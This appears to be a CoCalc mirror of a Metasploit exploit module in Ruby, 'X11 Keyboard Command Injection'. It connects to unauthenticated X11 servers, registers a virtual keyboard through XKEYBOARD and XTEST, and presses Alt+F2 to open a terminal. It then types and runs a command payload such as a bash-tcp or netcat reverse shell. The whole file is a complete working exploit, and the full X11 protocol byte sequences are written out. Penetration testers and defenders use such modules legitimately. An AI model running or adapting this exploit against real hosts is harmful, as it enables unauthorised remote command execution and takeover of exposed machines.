CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/x11/x11_keyboard_exec.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
include Msf::Exploit::Remote::Tcp
9
10
KB_KEYS = {
11
'1' => "\x0a",
12
'2' => "\x0b",
13
'3' => "\x0c",
14
'4' => "\x0d",
15
'5' => "\x0e",
16
'6' => "\x0f",
17
'7' => "\x10",
18
'&' => "\x10",
19
'8' => "\x11",
20
'9' => "\x12",
21
'(' => "\x12",
22
'0' => "\x13",
23
')' => "\x13",
24
'-' => "\x14",
25
'=' => "\x15",
26
'q' => "\x18",
27
'w' => "\x19",
28
'e' => "\x1a",
29
'r' => "\x1b",
30
't' => "\x1c",
31
'y' => "\x1d",
32
'u' => "\x1e",
33
'i' => "\x1f",
34
'o' => "\x20",
35
'p' => "\x21",
36
'[' => "\x22",
37
'{' => "\x22",
38
']' => "\x23",
39
'}' => "\x23",
40
'a' => "\x26",
41
's' => "\x27",
42
'd' => "\x28",
43
'f' => "\x29",
44
'g' => "\x2a",
45
'h' => "\x2b",
46
'j' => "\x2c",
47
'k' => "\x2d",
48
'l' => "\x2e",
49
';' => "\x2f",
50
':' => "\x2f",
51
"'" => "\x30",
52
'"' => "\x30",
53
'`' => "\x31",
54
'~' => "\x31",
55
'lshift' => "\x32",
56
'\\' => "\x33",
57
'|' => "\x33",
58
'z' => "\x34",
59
'x' => "\x35",
60
'c' => "\x36",
61
'v' => "\x37",
62
'b' => "\x38",
63
'n' => "\x39",
64
'm' => "\x3a",
65
',' => "\x3b",
66
'<' => "\x3b",
67
'.' => "\x3c",
68
'>' => "\x3c",
69
'/' => "\x3d",
70
'*' => "\x3f",
71
'alt' => "\x40",
72
' ' => "\x41",
73
'f2' => "\x44"
74
}
75
76
77
def initialize(info = {})
78
super(update_info(info,
79
'Name' => 'X11 Keyboard Command Injection',
80
'Description' => %q{
81
This module exploits open X11 servers by connecting and registering a
82
virtual keyboard. The virtual keyboard is used to open an xterm or gnome
83
terminal and type and execute the specified payload.
84
},
85
'Author' =>
86
[
87
'xistence <xistence[at]0x90.nl>'
88
],
89
'Privileged' => false,
90
'License' => MSF_LICENSE,
91
'Payload' =>
92
{
93
'DisableNops' => true,
94
'Compat' =>
95
{
96
'PayloadType' => 'cmd cmd_bash',
97
'RequiredCmd' => 'gawk bash-tcp python netcat'
98
}
99
},
100
'Platform' => ['unix'],
101
'Arch' => ARCH_CMD,
102
'Targets' =>
103
[
104
[ 'xterm (Generic)', {}],
105
[ 'gnome-terminal (Ubuntu)', {}],
106
], 'DisclosureDate' => '2015-07-10',
107
'DefaultTarget' => 0))
108
109
register_options(
110
[
111
Opt::RPORT(6000),
112
OptInt.new('TIME_WAIT', [ true, 'Time to wait for opening GUI windows in seconds', 5])
113
])
114
end
115
116
117
def xkeyboard_key
118
req = ""
119
req << @xkeyboard_opcode
120
req << "\x05" # Extension minor: 5 (LatchLockState)
121
req << "\x04\x00" # Request length: 4
122
req << "\x00\x01" # DeviceSpec: 0x0100 (256)
123
req << "\x00" # affectModLocks: 0
124
req << "\x00" # modLocks: 0
125
req << "\x01" # lockGroup: True
126
req << "\x00" # groupLock: 0
127
req << "\x00" # affectModLatches: 0
128
req << "\x00" # Unused
129
req << "\x00" # latchGroup: False
130
req << "\x00\x00" # groupLatch: 0
131
req << "\x00" # Undecoded
132
return req
133
end
134
135
136
def press_key(key)
137
138
req = xkeyboard_key
139
140
req << @xtest_opcode
141
req << "\x02" # Extension minor: 2 (FakeInput)
142
req << "\x09\x00" # Request length: 9
143
req << "\x02" # Press key (Type: 2)
144
req << key # What key to press
145
req << "\x04\x00" # Unused?
146
req << "\x00\x00\x00\x00" # Time
147
req << "\x00\x00\x00\x00" # Root
148
req << "\x07\x00\x07\x00" # Unused?
149
req << "\x88\x04\x02\x00" # Unused?
150
#req << "\x00\x01" # rootX: 256
151
#req << "\xf5\x05" # rootY: 1525
152
req << "\x00\x00" # rootX: 0
153
req << "\x00\x00" # rootY: 0
154
req << "\x00\x00\x00\x00" # Unused?
155
req << "\x00\x00\x00" # Unused?
156
req << "\x00" # deviceid: 0
157
158
req << xkeyboard_key
159
160
req << "\x2b" # Opcode 43: GetInputFocus
161
req << "\x00" # Unused
162
req << "\x01\x00" # Request length: 1
163
164
sock.put(req)
165
166
res = sock.get_once
167
168
# Response should give 1 on first byte (Success)
169
unless res && res[0,1] == "\x01"
170
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error pressing key: #{key} #{res.inspect}")
171
end
172
173
end
174
175
def release_key(key)
176
177
req = xkeyboard_key
178
179
req << @xtest_opcode
180
req << "\x02" # Extension minor: 2 (FakeInput)
181
req << "\x09\x00" # Request length: 9
182
req << "\x03" # Release key (Type: 3)
183
req << key # What key to release
184
req << "\x04\x00" # Unused?
185
req << "\x00\x00\x00\x00" # Time
186
req << "\x00\x00\x00\x00" # Root
187
req << "\x07\x00\x07\x00" # Unused?
188
req << "\x88\x04\x02\x00" # Unused?
189
#req << "\x00\x01" # rootX: 256
190
#req << "\xf5\x05" # rootY: 1525
191
req << "\x00\x00" # rootX: 0
192
req << "\x00\x00" # rootY: 0
193
req << "\x00\x00\x00\x00" # Unused?
194
req << "\x00\x00\x00" # Unused?
195
req << "\x00" # deviceid: 0
196
197
req << xkeyboard_key
198
199
req << "\x2b" # Opcode 43: GetInputFocus
200
req << "\x00" # Unused
201
req << "\x01\x00" # Request length: 1
202
203
sock.put(req)
204
205
res = sock.get_once
206
207
# Response should give 1 on first byte (Success)
208
unless res && res[0,1] == "\x01"
209
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error releasing key: #{key} #{res.inspect}")
210
end
211
212
end
213
214
def type_command(command)
215
# Specify the special keys which need to have shift pressed first to type
216
specialkeys = '<>{}|"&()'.chars
217
values = command.chars
218
values.each do |value|
219
key = KB_KEYS[value]
220
# Special keys need a shift pressed to be typed
221
if Regexp.union(specialkeys) =~ value
222
press_key(KB_KEYS["lshift"]) # [lshift]
223
press_key(key)
224
release_key(KB_KEYS["lshift"])
225
release_key(key)
226
# Uppercase characters need to be converted to lowercase and be typed in combination with the shift key to generate uppercase
227
elsif value =~ /[A-Z]/
228
press_key(KB_KEYS["lshift"]) # [lshift]
229
press_key(KB_KEYS[value.downcase])
230
release_key(KB_KEYS["lshift"])
231
release_key(KB_KEYS[value.downcase])
232
# All normal keys which are not special keys or uppercase characters
233
else
234
press_key(key)
235
release_key(key)
236
end
237
end
238
# Send an enter
239
press_key("\x24") # [enter]
240
release_key("\x24") # [enter]
241
end
242
243
def send_msg(sock, data)
244
sock.put(data)
245
data = ""
246
begin
247
read_data = sock.get_once(-1, 1)
248
while not read_data.nil?
249
data << read_data
250
read_data = sock.get_once(-1, 1)
251
end
252
rescue EOFError
253
end
254
data
255
end
256
257
def exploit
258
259
begin
260
connect
261
262
print_status("#{rhost}:#{rport} - Register keyboard")
263
264
req = "\x6c" # Byte order (Little-Endian)
265
req << "\x00" # Unused
266
req << "\x0b\x00" # Protocol major version: 11
267
req << "\x00\x00" # Protocol minor version: 0
268
req << "\x00\x00" # Authorization protocol name length: 0
269
req << "\x00\x00" # Authorization protocol data length: 0
270
req << "\x00\x00" # Unused
271
272
# Retrieve the whole X11 details response
273
res = send_msg(sock,req)
274
275
# Response should give 0x01 in first byte (Success)
276
unless res && res[0,1] == "\x01"
277
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 initial communication failed")
278
end
279
280
281
# Keyboard registration
282
req = "\x62" # Opcode 98: QueryExtension
283
req << "\x00" # Unused
284
req << "\x05\x00" # Request length: 5
285
req << "\x09\x00" # Name length: 9
286
req << "\x60\x03" # Unused?
287
req << "XKEYBOARD" # Name
288
req << "\x00\x00\x00" # Unused, padding?
289
290
# Retrieve the whole X11 details response
291
res = send_msg(sock,req)
292
293
# Response should give 0x01 in first byte (Success)
294
if res && res[0,1] == "\x01"
295
@xkeyboard_opcode = res[9,1] # Retrieve the XKEYBOARD opcode
296
else
297
#puts res.inspect
298
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XKEYBOARD failed")
299
end
300
301
302
req = ""
303
req << @xkeyboard_opcode
304
req << "\x00" # Extension minor: 0 (UseExtension)
305
req << "\x02\x00" # Request length: 2
306
req << "\x01\x00" # Wanted Major: 1
307
req << "\x00\x00" # Wanted Minor: 0
308
309
# Retrieve the whole X11 details response
310
res = send_msg(sock,req)
311
312
unless res && res[0,1] == "\x01"
313
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD (opcode 136) failed -")
314
end
315
316
317
req = "\x62" # Opcode 98: QueryExtension
318
req << "\x00" # Unused
319
req << "\x06\x00" # Request length: 6
320
req << "\x0f\x00" # Name length: 15
321
req << "\x00\x00" # Unused
322
req << "XInputExtension" # Name
323
req << "\x00" # Unused, padding?
324
325
# Retrieve the whole X11 details response
326
res = send_msg(sock,req)
327
328
# Response should give 0x01 in first byte (Success)
329
unless res && res[0,1] == "\x01"
330
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XInputExtension failed")
331
end
332
333
334
req = "\x62" # Opcode 98: QueryExtension
335
req << "\x00" # Unused
336
req << "\x04\x00" # Request length: 4
337
req << "\x05\x00" # Name length: 5
338
req << "\x00\x00" # Unused
339
req << "XTEST" # Name
340
req << "\x00\x00\x00" # Unused, padding?
341
342
# Retrieve the whole X11 details response
343
res = send_msg(sock,req)
344
345
# Response should give 0x01 in first byte (Success)
346
if res && res[0,1] == "\x01"
347
@xtest_opcode = res[9,1] # Retrieve the XTEST opcode
348
else
349
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XTEST failed")
350
end
351
352
353
req = "\x62" # Opcode 98: QueryExtension
354
req << "\x00" # Unused
355
req << "\x08\x00" # Request length
356
req << "\x17\x00" # Name length
357
req << "\x00\x00" # Unused
358
req << "Generic Event Extension" # Name
359
req << "\x00" # Unused, padding?
360
361
# Retrieve the whole X11 details response
362
res = send_msg(sock,req)
363
364
# Response should give 0x01 in first byte (Success)
365
if res && res[0,1] == "\x01"
366
@genericevent_opcode = res[9,1] # Retrieve the Generic Event Extension opcode
367
else
368
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) Generic Event Extension failed")
369
end
370
371
372
req = ""
373
req << @genericevent_opcode
374
req << "\x00" # Extension minor: 0 (QueryVersion)
375
req << "\x02\x00" # Request length: 2
376
req << "\x01\x00" # Client major version: 1
377
req << "\x00\x00" # Client minor version: 0
378
379
# Retrieve the whole X11 details response
380
res = send_msg(sock,req)
381
382
# Response should give 0x01 in first byte (Success)
383
unless res && res[0,1] == "\x01"
384
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed")
385
end
386
387
388
req = ""
389
req << @xtest_opcode
390
req << "\x00" # Extension minor: 0 (GetVersion)
391
req << "\x02\x00" # Request length: 2
392
req << "\x02\x00" # Major version: 2
393
req << "\x02\x00" # Minor version: 2
394
395
# Retrieve the whole X11 details response
396
res = send_msg(sock,req)
397
398
# Response should give 0x01 in first byte (Success)
399
unless res && res[0,1] == "\x01"
400
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XTEST failed")
401
end
402
403
404
req = "\x65" # Opcode 101: GetKeyboardMapping
405
req << "\x00" # Unused
406
req << "\x02\x00" # Request length: 2
407
req << "\x08" # First keycode: 8
408
req << "\xf8" # Count: 248
409
req << "\x02\x00" # Unused?
410
411
# Retrieve the whole X11 details response
412
res = send_msg(sock,req)
413
414
# Response should give 0x01 in first byte (Success)
415
unless res && res[0,1] == "\x01"
416
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request GetKeyboardMapping (opcode 101) failed")
417
end
418
419
420
req = ""
421
req << @xkeyboard_opcode
422
req << "\x08" # Extension minor: 8 (GetMap)
423
req << "\x07\x00" # Request length: 7
424
req << "\x00\x01" # Device spec: 0x0100 (256)
425
req << "\x07\x00" # Full: 7
426
req << "\x00\x00" # Partial: 0
427
req << "\x00" # firsType: 0
428
req << "\x00" # nTypes: 0
429
req << "\x00" # firstKeySym: 0
430
req << "\x00" # nKeySym: 0
431
req << "\x00" # firstKeyAction: 0
432
req << "\x00" # nKeysActions: 0
433
req << "\x00" # firstKeyBehavior: 0
434
req << "\x00" # nKeysBehavior: 0
435
req << "\x00\x00" # virtualMods: 0
436
req << "\x00" # firstKeyExplicit: 0
437
req << "\x00" # nKeyExplicit: 0
438
req << "\x00" # firstModMapKey: 0
439
req << "\x00" # nModMapKeys: 0
440
req << "\x00" # firstVModMapKey: 0
441
req << "\x00" # nVModMapKeys: 0
442
req << "\x00\x00" # Unused, padding?
443
444
# Retrieve the whole X11 details response
445
res = send_msg(sock,req)
446
447
# Response should give 0x01 in first byte (Success)
448
unless res && res[0,1] == "\x01"
449
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed")
450
end
451
452
453
# Press ALT+F2 to start up "Run application"
454
print_status("#{rhost}:#{rport} - Opening \"Run Application\"")
455
press_key(KB_KEYS["alt"])
456
press_key(KB_KEYS["f2"])
457
release_key(KB_KEYS["alt"])
458
release_key(KB_KEYS["f2"])
459
460
# Wait X seconds to open the dialog
461
print_status("#{rhost}:#{rport} - Waiting #{datastore['TIME_WAIT']} seconds...")
462
Rex.sleep(datastore['TIME_WAIT'])
463
464
if datastore['TARGET'] == 0
465
# Start a xterm terminal
466
print_status("#{rhost}:#{rport} - Opening xterm")
467
type_command("xterm")
468
else
469
# Start a Gnome terminal
470
print_status("#{rhost}:#{rport} - Opening gnome-terminal")
471
type_command("gnome-terminal")
472
end
473
474
print_status("#{rhost}:#{rport} - Waiting #{datastore['TIME_WAIT']} seconds...")
475
# Wait X seconds to open the terminal
476
Rex.sleep(datastore['TIME_WAIT'])
477
478
# "Type" our payload and execute it
479
print_status("#{rhost}:#{rport} - Typing and executing payload")
480
command = "nohup #{payload.encoded} &2>/dev/null; sleep 1; exit"
481
482
type_command(command)
483
484
handler
485
rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e
486
print_error("#{rhost}:#{rport} - #{e.message}")
487
ensure
488
disconnect
489
end
490
end
491
end
492
493